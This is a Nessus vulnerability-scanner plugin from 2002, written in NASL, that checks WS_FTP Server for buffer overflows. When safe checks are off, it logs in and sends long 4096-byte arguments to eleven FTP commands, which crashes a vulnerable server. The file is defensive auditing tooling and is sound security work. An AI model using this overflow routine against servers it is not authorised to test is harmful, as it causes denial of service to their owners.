home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / wsftp_overflows.nasl < prev    next >
Text File  |  2005-03-31  |  4KB  |  136 lines

  1. # This script was written by Michel Arboi <arboi@alussinan.org>
  2. #
  3. # GPL
  4. #
  5.  
  6. if(description)
  7. {
  8.  script_id(11094);
  9.  script_version ("$Revision: 1.6 $");
  10.  script_cve_id("CAN-2001-1021");
  11.  name["english"] = "WS FTP overflows";
  12.  
  13.  script_name(english:name["english"]);
  14.  
  15.  desc["english"] = "It was possible to shut down the remote
  16. FTP server by issuing a command followed by a too long argument.
  17.  
  18. An attacker may use this flow to prevent your site from 
  19. sharing some resources with the rest of the world, or even
  20. execute arbitrary code on your system.
  21.  
  22. Solution : upgrade to the latest version your FTP server.
  23.  
  24. Risk factor : High";
  25.  
  26.  
  27.  desc["francais"] = "Il s'est avΘrΘ possible de tuer 
  28. le serveur FTP distant en envoyant une commande 
  29. suivie d'un argument trop long. 
  30.  
  31. Un pirate peut utiliser cette faille pour empΩcher votre site de
  32. partager des ressources avec le reste du monde, ou mΩme exΘcuter
  33. du code arbitraire sur votre systΦme.
  34.  
  35. Solution : mettez α jour votre server FTP.
  36.  
  37. Facteur de risque : ElevΘ";
  38.  
  39.  
  40.  script_description(english:desc["english"], francais:desc["francais"]);
  41.  
  42.  summary["english"] = "Attempts a buffer overflow on many commands";
  43.  summary["francais"] = "Essaye un dΘbordement sur diverses commandes";
  44.  script_summary(english:summary["english"], francais:summary["francais"]);
  45.  
  46.  script_category(ACT_MIXED_ATTACK);
  47.  
  48.  script_copyright(english:"This script is Copyright (C) 2002 Michel Arboi",
  49.         francais:"Ce script est Copyright (C) 2002 Michel Arboi");
  50.  #family["english"] = "Gain root remotely";
  51.  #family["francais"] = "Passer root α distance";
  52.  family["english"] = "FTP";
  53.  family["francais"] = "FTP";
  54.  script_family(english:family["english"], francais:family["francais"]);
  55.  script_dependencie("find_service.nes", "ftp_anonymous.nasl",
  56.              "ftpserver_detect_type_nd_version.nasl");
  57.  script_require_ports("Services/ftp", 21);
  58.  
  59.  exit(0);
  60. }
  61.  
  62. #
  63.  
  64. include ("ftp_func.inc");
  65.  
  66. port = get_kb_item("Services/ftp");
  67. if(!port) port = 21;
  68. if (! get_port_state(port)) exit(0);
  69.  
  70. if (safe_checks() || ! get_kb_item("ftp/login"))
  71. {
  72.   m = "According to its version number, your remote WS_FTP server
  73. is vulnerable to a buffer overflow against any command.
  74.  
  75. An attacker may use this flow to prevent your site from 
  76. sharing some resources with the rest of the world, or even
  77. execute arbitrary code on your system.
  78.  
  79. ** Nessus only check the version number in the server banner
  80. ** To really check the vulnerability, disable safe_checks
  81.  
  82. Solution : upgrade to the latest version your FTP server.
  83.  
  84. Risk factor : High";
  85.  
  86.   banner = get_ftp_banner(port);
  87.  
  88.   if (egrep(pattern:"WS_FTP Server 2\.0\.[0-2]", string: banner))
  89.     security_hole(port: port, data: m);
  90.   exit(0);
  91. }
  92.  
  93. login = get_kb_item("ftp/login");
  94. password = get_kb_item("ftp/password");
  95.  
  96. if(!login) login = "ftp";
  97. if (! password) password = "test@nessus.org";
  98.  
  99. soc = open_sock_tcp(port);
  100. if(! soc) exit(0);
  101. if(! ftp_log_in(socket:soc, user:login, pass:password))
  102. {
  103.   ftp_close(socket: soc);
  104.   exit(0);
  105. }
  106.  
  107. cmd[0] = "DELE";
  108. cmd[1] = "MDTM";
  109. cmd[2] = "MLST";
  110. cmd[3] = "MKD";
  111. cmd[4] = "RMD";
  112. cmd[5] = "RNFR";
  113. cmd[6] = "RNTO";
  114. cmd[7] = "SIZE";
  115. cmd[8] = "STAT";
  116. cmd[9] = "XMKD";
  117. cmd[10] = "XRMD ";
  118.  
  119. pb=0;
  120. for (i=0; i<11; i=i+1)
  121. {
  122.   s = string(cmd[i], " /", crap(4096), "\r\n");
  123.   send(socket:soc, data:s);
  124.   r = recv_line(socket:soc, length:1024);
  125.   #if(!r) pb=pb+1;
  126.   ftp_close(socket: soc);
  127.  
  128.   soc = open_sock_tcp(port);
  129.   if (! soc) { security_hole(port); exit(0); }
  130.   ftp_log_in(socket:soc, user:login, pass:password);
  131. }
  132.  
  133. ftp_close(socket: soc);
  134.  
  135. #if (pb) security_warning(port);    # => False positive?
  136.